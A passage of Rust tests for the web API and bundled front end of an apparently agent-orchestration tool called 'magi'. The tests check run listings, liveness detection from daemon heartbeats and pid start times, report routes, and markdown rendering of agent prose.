12256    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
12257        let f = Fixture::start().await;
12258
12259        let mut none_run = RunState::new(
12260            PathBuf::from("/repo/magi"),
12261            "main".to_owned(),
12262            "0123456789abcdef".to_owned(),
12263            "Add a web UI".to_owned(),
12264            Config::default(),
12265        );
12266        none_run.id = "20260902-140503-none".to_owned();
12267        none_run.status = RunStatus::Ready;
12268        none_run.merge = Some(crate::run::MergeOutcome {
12269            mode: crate::config::MergeMode::None,
12270            ok: true,
12271            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
12272            empty: false,
12273        });
12274        write_state(&f.runs(), &none_run);
12275
12276        let mut pr_run = RunState::new(
12277            PathBuf::from("/repo/magi"),
12278            "main".to_owned(),
12279            "0123456789abcdef".to_owned(),
12280            "Add a web UI".to_owned(),
12281            Config::default(),
12282        );
12283        pr_run.id = "20260902-140504-prcl".to_owned();
12284        pr_run.status = RunStatus::Ready;
12285        pr_run.merge = Some(crate::run::MergeOutcome {
12286            mode: crate::config::MergeMode::Pr,
12287            ok: false,
12288            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
12289            empty: false,
12290        });
12291        write_state(&f.runs(), &pr_run);
12292
12293        let summary = f.get("/api/runs").await.json();
12294        let rows: std::collections::HashMap<&str, &Value> = summary
12295            .as_array()
12296            .expect("an array")
12297            .iter()
12298            .map(|r| (r["id"].as_str().expect("an id"), r))
12299            .collect();
12300        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
12301        assert_eq!(
12302            rows[none_run.id.as_str()]["unmerged_by_design"],
12303            true,
12304            "a mode-none Ready must be flagged in the list"
12305        );
12306        assert_eq!(
12307            rows[pr_run.id.as_str()]["unmerged_by_design"],
12308            false,
12309            "a Ready reached by a closed pull request is a different case"
12310        );
12311
12312        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
12313        assert_eq!(none_detail["status"], "ready");
12314        assert_eq!(none_detail["unmerged_by_design"], true);
12315
12316        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
12317        assert_eq!(pr_detail["unmerged_by_design"], false);
12318    }
12319
12320    /// `RunState::active` is only ever cleared by whoever populated it, so the
12321    /// detail route also has to say whether a daemon is actually still
12322    /// driving this run right now — otherwise a seat from a killed process's
12323    /// last wave would read as live forever.
12324    #[tokio::test]
12325    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
12326        let f = Fixture::start().await;
12327        // Matches `write_daemon`'s hard-coded `current.run`, so the second
12328        // half of this test can claim the daemon is working on it without a
12329        // second helper.
12330        let id = "20260902-140502-bbbb";
12331        let mut state = RunState::new(
12332            PathBuf::from("/repo/magi"),
12333            "main".to_owned(),
12334            "0123456789abcdef".to_owned(),
12335            "Add a web UI".to_owned(),
12336            Config::default(),
12337        );
12338        state.id = id.to_owned();
12339        state.status = RunStatus::Judging;
12340        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
12341        let dir = f.runs().join(id);
12342        std::fs::create_dir_all(&dir).expect("run dir");
12343        std::fs::write(
12344            dir.join("run.json"),
12345            serde_json::to_string_pretty(&state).expect("serialize run"),
12346        )
12347        .expect("write run.json");
12348
12349        // No daemon.json at all, and no `driver_pid` recorded either (this
12350        // state was written directly, never through `execute()`): there is
12351        // nothing to confirm either way, so the route must say `"unknown"` —
12352        // never `"dead"`, which is exactly the false diagnosis a manual `magi
12353        // run` used to get from this route before `driver_pid` existed.
12354        let cold = f.get(&format!("/api/runs/{id}")).await.json();
12355        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
12356        assert_eq!(cold["live"], "unknown", "{cold}");
12357
12358        // A fresh heartbeat naming exactly this run: the same entry now reads
12359        // as confirmed, not merely recorded.
12360        write_daemon(f.home.path(), Timestamp::now());
12361        let warm = f.get(&format!("/api/runs/{id}")).await.json();
12362        assert_eq!(warm["live"], "live", "{warm}");
12363    }
12364
12365    /// Where a run came from is shown, and a run written before origins were
12366    /// recorded (schema 12, no `origin` key) stays readable and says so.
12367    #[tokio::test]
12368    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
12369        let f = Fixture::start().await;
12370        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
12371            let mut state = RunState::new(
12372                PathBuf::from("/repo/magi"),
12373                "main".to_owned(),
12374                "0123456789abcdef".to_owned(),
12375                "Add a web UI".to_owned(),
12376                Config::default(),
12377            );
12378            state.id = id.to_owned();
12379            state.origin = origin;
12380            let mut value = serde_json::to_value(&state).expect("serialize run");
12381            if let Some(schema) = schema {
12382                value["schema"] = serde_json::json!(schema);
12383                value.as_object_mut().unwrap().remove("origin");
12384            }
12385            let dir = f.runs().join(id);
12386            std::fs::create_dir_all(&dir).expect("run dir");
12387            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
12388        };
12389        write(
12390            "20260930-092817-ec34",
12391            Some(crate::run::Origin::from_agent_env(
12392                Some(("4a7b".to_owned(), "chat".to_owned())),
12393                None,
12394            )),
12395            None,
12396        );
12397        write("20260930-092817-0ld1", None, Some(12));
12398
12399        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
12400        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
12401        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
12402
12403        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
12404        assert_eq!(
12405            old["origin_label"], "origin unknown (started before origins were recorded)",
12406            "{old}"
12407        );
12408        assert!(old["origin"].is_null(), "{old}");
12409
12410        let list = f.get("/api/runs").await.json();
12411        let labels: Vec<_> = list
12412            .as_array()
12413            .unwrap()
12414            .iter()
12415            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
12416            .collect();
12417        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
12418    }
12419
12420    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
12421    /// review` claims no daemon at all, so before this field existed the
12422    /// route above read it as `"dead"` — indistinguishable from a run a
12423    /// killed process abandoned — the whole time it was genuinely still
12424    /// answering. With a live pid recorded, it must read `"live"` even
12425    /// though no daemon claims it.
12426    #[tokio::test]
12427    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
12428        let f = Fixture::start().await;
12429        let id = "20260922-090000-cccc";
12430        let mut state = RunState::new(
12431            PathBuf::from("/repo/magi"),
12432            "main".to_owned(),
12433            "0123456789abcdef".to_owned(),
12434            "Review only".to_owned(),
12435            Config::default(),
12436        );
12437        state.id = id.to_owned();
12438        state.status = RunStatus::Reviewing;
12439        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12440        // This test process's own pid: guaranteed alive, and never needs a
12441        // real daemon or a second process to prove it. The matching start-time
12442        // marker is what `liveness` now requires alongside a live pid — see
12443        // `RunState::driver_started_at`'s own doc for why the pid alone is
12444        // not enough.
12445        state.driver_pid = Some(std::process::id());
12446        state.driver_started_at = Some(
12447            crate::proc::process_started_at(std::process::id())
12448                .expect("this test process's own start time must be queryable"),
12449        );
12450        let dir = f.runs().join(id);
12451        std::fs::create_dir_all(&dir).expect("run dir");
12452        std::fs::write(
12453            dir.join("run.json"),
12454            serde_json::to_string_pretty(&state).expect("serialize run"),
12455        )
12456        .expect("write run.json");
12457
12458        let detail = f.get(&format!("/api/runs/{id}")).await.json();
12459        assert_eq!(detail["live"], "live", "{detail}");
12460    }
12461
12462    /// A killed manual run's pid can be handed to a wholly unrelated later
12463    /// process — a live query on `driver_pid` alone would read this as
12464    /// `"live"`, exactly the false positive `driver_started_at` exists to
12465    /// catch (see that field's own doc, and `RunState::liveness_with`'s
12466    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
12467    #[tokio::test]
12468    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
12469        let f = Fixture::start().await;
12470        let id = "20260922-090100-dddd";
12471        let mut state = RunState::new(
12472            PathBuf::from("/repo/magi"),
12473            "main".to_owned(),
12474            "0123456789abcdef".to_owned(),
12475            "Review only".to_owned(),
12476            Config::default(),
12477        );
12478        state.id = id.to_owned();
12479        state.status = RunStatus::Reviewing;
12480        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12481        // This test process's own pid really is alive, but the marker
12482        // recorded here does not match what it actually started at —
12483        // standing in for the pid having since been reused by a different
12484        // process than the one that wrote `run.json`.
12485        state.driver_pid = Some(std::process::id());
12486        state.driver_started_at = Some("1".to_owned());
12487        let dir = f.runs().join(id);
12488        std::fs::create_dir_all(&dir).expect("run dir");
12489        std::fs::write(
12490            dir.join("run.json"),
12491            serde_json::to_string_pretty(&state).expect("serialize run"),
12492        )
12493        .expect("write run.json");
12494
12495        let detail = f.get(&format!("/api/runs/{id}")).await.json();
12496        assert_eq!(detail["live"], "dead", "{detail}");
12497    }
12498
12499    /// The deck's competition list is normally the first place an operator
12500    /// sees an old run. It must carry the same process verdict as detail, or
12501    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
12502    #[test]
12503    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
12504        let mk = |id: &str, pid: Option<u32>| {
12505            let mut s = RunState::new(
12506                PathBuf::from("/repo/magi"),
12507                "main".to_owned(),
12508                "0123456789abcdef".to_owned(),
12509                "Add a web UI".to_owned(),
12510                Config::default(),
12511            );
12512            s.id = id.to_owned();
12513            s.driver_pid = pid;
12514            s.driver_started_at = Some("1790000000".to_owned());
12515            s
12516        };
12517        let states = vec![
12518            mk("20260902-140502-aaaa", Some(77)),
12519            mk("20260902-140502-bbbb", Some(77)),
12520            mk("20260902-140502-cccc", Some(77)),
12521            mk("20260902-140502-dddd", None),
12522        ];
12523        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
12524        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
12525        let sup: HashMap<String, String> = [(
12526            "20260902-140502-aaaa".to_owned(),
12527            "20260902-140502-cccc".to_owned(),
12528        )]
12529        .into();
12530
12531        let status_calls = std::cell::Cell::new(0);
12532        let identity_calls = std::cell::Cell::new(0);
12533        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
12534            |_| {
12535                status_calls.set(status_calls.get() + 1);
12536                Some(true)
12537            },
12538            |_| {
12539                identity_calls.set(identity_calls.get() + 1);
12540                Some("1790000000".to_owned())
12541            },
12542        ));
12543        let rows = summarize(
12544            states,
12545            &open,
12546            &claimed,
12547            &sup,
12548            |p| probe.borrow_mut().status(p),
12549            |p| probe.borrow_mut().started_at(p),
12550        );
12551
12552        assert_eq!(status_calls.get(), 1, "one pid, one status query");
12553        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
12554        assert_eq!(rows.len(), 4);
12555        assert!(!rows[0].waiting && rows[1].waiting);
12556        assert_eq!(rows[0].live, crate::run::Liveness::Live);
12557        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
12558        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
12559        assert_eq!(rows[1].superseded_by, None);
12560    }
12561
12562    #[test]
12563    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
12564        let mut state = RunState::new(
12565            PathBuf::from("/repo/magi"),
12566            "main".to_owned(),
12567            "0123456789abcdef".to_owned(),
12568            "Review only".to_owned(),
12569            Config::default(),
12570        );
12571        state.id = "20260922-090200-dead".to_owned();
12572        state.status = RunStatus::Reviewing;
12573        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
12574            .expect("serialize list row");
12575        assert_eq!(row["status"], "reviewing");
12576        assert_eq!(row["live"], "dead", "{row}");
12577        assert!(!row["done"].as_bool().unwrap());
12578    }
12579
12580    #[tokio::test]
12581    async fn the_run_list_is_newest_first_and_honours_a_limit() {
12582        let f = Fixture::start().await;
12583        for id in [
12584            "20260902-140501-aaaa",
12585            "20260902-140502-bbbb",
12586            "20260902-140503-cccc",
12587        ] {
12588            write_run(&f.runs(), id, RunStatus::Merged);
12589        }
12590
12591        let all = f.get("/api/runs").await.json();
12592        let capped = f.get("/api/runs?limit=2").await.json();
12593
12594        assert_eq!(all[0]["id"], "20260902-140503-cccc");
12595        assert_eq!(all.as_array().map(Vec::len), Some(3));
12596        assert_eq!(capped.as_array().map(Vec::len), Some(2));
12597        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
12598    }
12599
12600    #[tokio::test]
12601    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
12602        let f = Fixture::start().await;
12603        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
12604
12605        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
12606
12607        assert_eq!(res.status, 200);
12608        assert!(
12609            res.headers
12610                .contains("content-type: text/plain; charset=utf-8"),
12611            "a browser must render it, not download it: {}",
12612            res.headers
12613        );
12614        // The assertion is on content, not on the absence of escapes: colour
12615        // is a process-global that `serve` turns off at startup, and another
12616        // test in this binary may own it while this one runs.
12617        assert!(
12618            res.body.contains("20260902-140501-a1b2"),
12619            "the report is about the run that was asked for: {}",
12620            res.body
12621        );
12622    }
12623
12624    #[tokio::test]
12625    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
12626        // The view names the run's state directory, which reads the process-global home.
12627        crate::run::pin_test_home();
12628        let f = Fixture::start().await;
12629        let id = "20260902-140501-a1b2";
12630        write_run(&f.runs(), id, RunStatus::Stalled);
12631        // A stalled panel and one review round, written through the real
12632        // state file so the route reads what a run really leaves behind.
12633        let path = f.runs().join(id).join("run.json");
12634        let mut v: serde_json::Value =
12635            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
12636        v["tally"] = serde_json::json!({
12637            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
12638            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
12639            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
12640            "met_quorum": false, "rankings": 1
12641        });
12642        v["reviews"] = serde_json::json!([{
12643            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
12644            "e2e_deferred": true,
12645            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
12646                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
12647            ]}]
12648        }]);
12649        std::fs::write(&path, v.to_string()).unwrap();
12650        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
12651        std::fs::write(
12652            f.runs().join("20260902-140502-dead").join("run.json"),
12653            "{not json",
12654        )
12655        .unwrap();
12656
12657        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
12658
12659        assert_eq!(res.status, 200, "{}", res.body);
12660        assert!(res.headers.contains("content-type: application/json"));
12661        let j = res.json();
12662        assert_eq!(j["schema"], 1);
12663        assert_eq!(j["header"]["id"], id);
12664        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
12665        let kinds: Vec<&str> = j["sections"]
12666            .as_array()
12667            .unwrap()
12668            .iter()
12669            .map(|s| s["kind"].as_str().unwrap())
12670            .collect();
12671        assert_eq!(kinds, ["candidates", "tally", "review"]);
12672        let tally = &j["sections"][1]["tally"];
12673        assert_eq!(
12674            (tally["decided"].clone(), tally["provisional"].clone()),
12675            (false.into(), true.into())
12676        );
12677        let round = &j["sections"][2]["rounds"][0];
12678        assert_eq!(round["e2e"]["state"], "deferred");
12679        assert_eq!(round["findings"][0]["severity"], "major");
12680        assert_eq!(round["findings"][0]["blocking"], true);
12681        assert_eq!(round["findings"][0]["state"], "open");
12682
12683        // The raw route keeps working beside it.
12684        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
12685
12686        // An unreadable run is an error, as on the text route, and is counted.
12687        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
12688        assert_ne!(bad.status, 200, "{}", bad.body);
12689        assert_eq!(
12690            bad.status,
12691            f.get("/api/runs/20260902-140502-dead/report").await.status
12692        );
12693        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
12694        assert_eq!(
12695            f.get("/api/runs/20260902-999999-ffff/report.json")
12696                .await
12697                .status,
12698            404
12699        );
12700    }
12701
12702    #[tokio::test]
12703    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
12704        let f = Fixture::start().await;
12705
12706        let html = f.get("/").await;
12707        let css = f.get("/app.css").await;
12708        let js = f.get("/app.js").await;
12709
12710        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
12711        assert!(
12712            html.headers
12713                .contains("content-type: text/html; charset=utf-8")
12714        );
12715        assert!(css.headers.contains("content-type: text/css"));
12716        assert!(js.headers.contains("content-type: text/javascript"));
12717        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
12718    }
12719
12720    #[test]
12721    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
12722        let body = |name: &str| {
12723            let at = APP_JS
12724                .find(name)
12725                .unwrap_or_else(|| panic!("{name} missing"));
12726            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12727        };
12728        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
12729        let note = body("function landRoundNote");
12730        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
12731        assert!(note.contains("Land round ${round}"));
12732        let land = body("function renderLand");
12733        let note_at = land
12734            .find("landRoundNote(pr)")
12735            .expect("renderLand uses the note");
12736        assert!(
12737            note_at
12738                < land
12739                    .find("roundRail(pr)")
12740                    .expect("renderLand uses the rail")
12741        );
12742    }
12743
12744    #[test]
12745    fn the_runs_page_redesign_keeps_its_guards() {
12746        let body = |name: &str| {
12747            let at = APP_JS
12748                .find(name)
12749                .unwrap_or_else(|| panic!("{name} missing"));
12750            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12751        };
12752        // A null child must never reach the native append (it prints "null").
12753        let land = body("function renderLand");
12754        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
12755        assert!(
12756            !land.contains("box.append("),
12757            "renderLand must use append()"
12758        );
12759        assert!(land.contains("append(box, ["));
12760        // Tabs are hash routes; the run id alone decides a reload.
12761        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
12762        assert!(
12763            body("function applyRoute")
12764                .contains("route.name !== state.route.name || route.id !== state.route.id")
12765        );
12766        // The decorative diagram is gone, the strip and its guards stay.
12767        assert!(!APP_JS.contains("adviseConvergeDiagram"));
12768        assert!(!INDEX_HTML.contains("advise-converge"));
12769        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
12770        assert!(APP_JS.contains("provisional"));
12771        for id in [
12772            "run-tab-overview",
12773            "run-tab-timeline",
12774            "run-tab-report",
12775            "run-report",
12776            "runs-scope",
12777        ] {
12778            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
12779        }
12780        assert!(!INDEX_HTML.contains("runs-tree"));
12781        assert!(!INDEX_HTML.contains("run-raw-panel"));
12782        // Fold still says it cannot be resumed.
12783        assert!(APP_JS.contains("resume"));
12784        // The unreadable-runs count stays on the page.
12785        assert!(APP_JS.contains("unreadable"));
12786    }
12787
12788    #[test]
12789    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
12790        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
12791        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
12792        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
12793        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
12794        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
12795        // The subtitle still counts them whatever the banner does.
12796        assert!(APP_JS.contains("unreadable` : null"));
12797    }
12798
12799    #[test]
12800    fn the_run_detail_payload_says_whether_the_run_is_done() {
12801        // `landView` reads `run.done`; the detail response must carry it.
12802        for (status, done) in [
12803            (RunStatus::Superseded, true),
12804            (RunStatus::Blocked, true),
12805            (RunStatus::Landing, false),
12806        ] {
12807            let mut state = RunState::new(
12808                std::path::PathBuf::from("/repo"),
12809                "main".to_owned(),
12810                "abc".to_owned(),
12811                "x".to_owned(),
12812                crate::config::Config::default(),
12813            );
12814            state.status = status;
12815            let v = serde_json::to_value(RunDetailView::of(
12816                state,
12817                crate::run::Liveness::Unknown,
12818                None,
12819                None,
12820                None,
12821            ))
12822            .unwrap();
12823            assert_eq!(v["done"], done, "{status:?}");
12824        }
12825    }
12826
12827    /// The first node of a markdown block holds a `strong` somewhere.
12828    fn has_strong(nodes: &[md::Node]) -> bool {
12829        serde_json::to_string(nodes).unwrap().contains("strong")
12830    }
12831
12832    #[test]
12833    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
12834        let mut state = RunState::new(
12835            std::path::PathBuf::from("/repo"),
12836            "main".to_owned(),
12837            "abc".to_owned(),
12838            "x".to_owned(),
12839            crate::config::Config::default(),
12840        );
12841        let proposal = |approach: &str| {
12842            serde_json::json!({
12843                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
12844            })
12845        };
12846        state.advice = Some(
12847            serde_json::from_value(serde_json::json!({
12848                "records": [
12849                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
12850                     "proposal": proposal("do **this**")},
12851                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
12852                ],
12853                "synthesis": "- one\n- **two**\n\n`code`",
12854            }))
12855            .unwrap(),
12856        );
12857        state.candidates = serde_json::from_value(serde_json::json!([
12858            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
12859             "summary": "did **it**"},
12860            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
12861        ]))
12862        .unwrap();
12863        // Recorded in ascending severity, the reverse of how the page sorts
12864        // them: the arrays must follow the record, not the display.
12865        state.reviews = serde_json::from_value(serde_json::json!([{
12866            "round": 1, "head": "h",
12867            "reviews": [{
12868                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
12869                "findings": [
12870                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
12871                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
12872                ],
12873            }],
12874            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
12875            "fix": {"agent": "a", "notes": "fixed **it**",
12876                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
12877        }, {"round": 2, "head": "h2", "reviews": []}]))
12878        .unwrap();
12879
12880        let v = serde_json::to_value(RunDetailView::of(
12881            state,
12882            crate::run::Liveness::Unknown,
12883            None,
12884            None,
12885            None,
12886        ))
12887        .unwrap();
12888
12889        let strong = |p: &str| {
12890            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
12891            assert!(n.to_string().contains("strong"), "{p}: {n}");
12892        };
12893        strong("/advice_md/synthesis");
12894        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
12895        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
12896        strong("/advice_md/approaches/0");
12897        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
12898        strong("/candidate_summaries_md/0");
12899        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
12900        strong("/reviews_md/0/reviewers/0/summary");
12901        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
12902        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
12903        assert!(f[1].to_string().contains("strong"));
12904        strong("/reviews_md/0/reconsideration/0");
12905        strong("/reviews_md/0/fix/notes");
12906        strong("/reviews_md/0/fix/rejected/0");
12907        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
12908        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
12909        // The raw strings stay, and no schema moved.
12910        assert_eq!(v["candidates"][0]["summary"], "did **it**");
12911        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
12912    }
12913
12914    #[test]
12915    fn a_run_without_advice_has_no_advice_md() {
12916        let state = RunState::new(
12917            std::path::PathBuf::from("/repo"),
12918            "main".to_owned(),
12919            "abc".to_owned(),
12920            "x".to_owned(),
12921            crate::config::Config::default(),
12922        );
12923        let p = run_prose_md(&state);
12924        assert!(p.advice_md.is_none());
12925        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
12926    }
12927
12928    #[test]
12929    fn a_question_view_carries_markdown_for_each_thread_turn() {
12930        let home = TempDir::new().unwrap();
12931        let store = ask::Questions::at(home.path().join("questions"));
12932        let mut q = Question::new(
12933            "run".to_owned(),
12934            "implement".to_owned(),
12935            "impl-A".to_owned(),
12936            "which?".to_owned(),
12937            String::new(),
12938            Vec::new(),
12939        );
12940        q.say("plain words").unwrap();
12941        q.reply("use **this**", Vec::new()).unwrap();
12942        let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12943        let bodies = &v["thread_bodies_md"];
12944        assert_eq!(bodies.as_array().unwrap().len(), 2);
12945        assert!(!bodies[0].to_string().contains("strong"));
12946        assert!(bodies[1].to_string().contains("strong"));
12947    }
12948
12949    #[test]
12950    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
12951        let home = TempDir::new().unwrap();
12952        let store = ask::Questions::at(home.path().join("questions"));
12953        let mut q = Question::new(
12954            "run".to_owned(),
12955            "conduct".to_owned(),
12956            "conduct".to_owned(),
12957            "which?".to_owned(),
12958            String::new(),
12959            Vec::new(),
12960        );
12961        q.say("plain words").unwrap();
12962        q.thread.push(ask::Turn {
12963            who: ask::Who::Agent,
12964            body: "Settled as `merge`".to_owned(),
12965            at: jiff::Timestamp::now(),
12966            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
12967        });
12968        let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12969        let notes = &v["thread_notes_md"];
12970        assert_eq!(notes.as_array().unwrap().len(), 2);
12971        assert!(notes[0].is_null());
12972        let text = notes[1].to_string();
12973        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
12974        assert!(APP_JS.contains("ask-turn-note"));
12975    }
12976
12977    #[test]
12978    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
12979        // The land panel defers to `run.status` for merged, and labels a
12980        // recorded-open PR on any finished run (superseded, blocked, ...) as
12981        // last seen, never as live state.
12982        assert!(APP_JS.contains("function landView(run, raw) {"));
12983        assert!(
12984            APP_JS.contains(
12985                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
12986            )
12987        );
12988        assert!(APP_JS.contains("const pr = landView(run, raw);"));
12989        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
12990        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
12991        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
12992    }
12993
12994    #[test]
12995    fn live_runs_are_never_hidden_or_folded_as_superseded() {
12996        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
12997        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
12998        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
12999        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
13000    }
13001
13002    #[test]
13003    fn review_rounds_label_a_distinct_verified_head() {
13004        assert!(APP_JS.contains("round.verified_head"));
13005        assert!(APP_JS.contains("verified HEAD"));
13006        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
13007    }
13008
13009    #[test]
13010    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
13011        // A blocked task's chip and note must not fall back to a queued-like
13012        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
13013        // itself by e11fc58 but never checked here.
13014        assert!(APP_JS.contains("blocked: { glyph:"));
13015        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
13016
13017        // `blocked_by` mixes task ids and question ids in the same list, and
13018        // the client can only tell them apart by checking each id against
13019        // what it actually knows - never by guessing from the id's shape.
13020        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
13021        assert!(
13022            APP_JS.contains(
13023                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
13024            ),
13025            "the note line must name what a blocked task is waiting on, not just that it is blocked"
13026        );
13027        // The classification must key off `status_str`, never off `blocked_by`
13028        // or `block_reason` merely being present - both can survive briefly
13029        // on a task a hold or a dead daemon just moved off `blocked`.
13030        assert!(APP_JS.contains("if (status === \"blocked\") {"));
13031
13032        // A question a task is blocked on gets its own node in the same
13033        // dependency graph, not just a task-shaped node with nothing known
13034        // about it.
13035        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
13036        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
13037        assert!(
13038            APP_JS.contains("location.hash = \"#/questions\";"),
13039            "a question node must jump to the Questions screen, not pretend to be a task"
13040        );
13041
13042        // `Task::answers` - decisions already made - are shown as a record on
13043        // the card, the same disclosure style as the full instruction.
13044        assert!(APP_JS.contains("Resolved questions"));
13045        assert!(APP_JS.contains("r.answersList.append("));
13046        assert!(APP_CSS.contains(".task-answers"));
13047        {
13048            let start = APP_JS
13049                .find("function updateTalkTaskRow")
13050                .expect("updateTalkTaskRow");
13051            let body = &APP_JS[start..];
13052            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
13053            assert!(
13054                body.contains(
13055                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
13056                ),
13057                "a chat-filed task row must link to the task page"
13058            );
13059            assert!(
13060                !body.contains("#/runs/") && !body.contains("#/queue/"),
13061                "the row must not branch to a run or the queue card"
13062            );
13063            assert!(APP_CSS.contains(".talk-task-link"));
13064        }
13065    }
13066
13067    #[test]
13068    fn a_task_notification_links_to_the_task_page() {
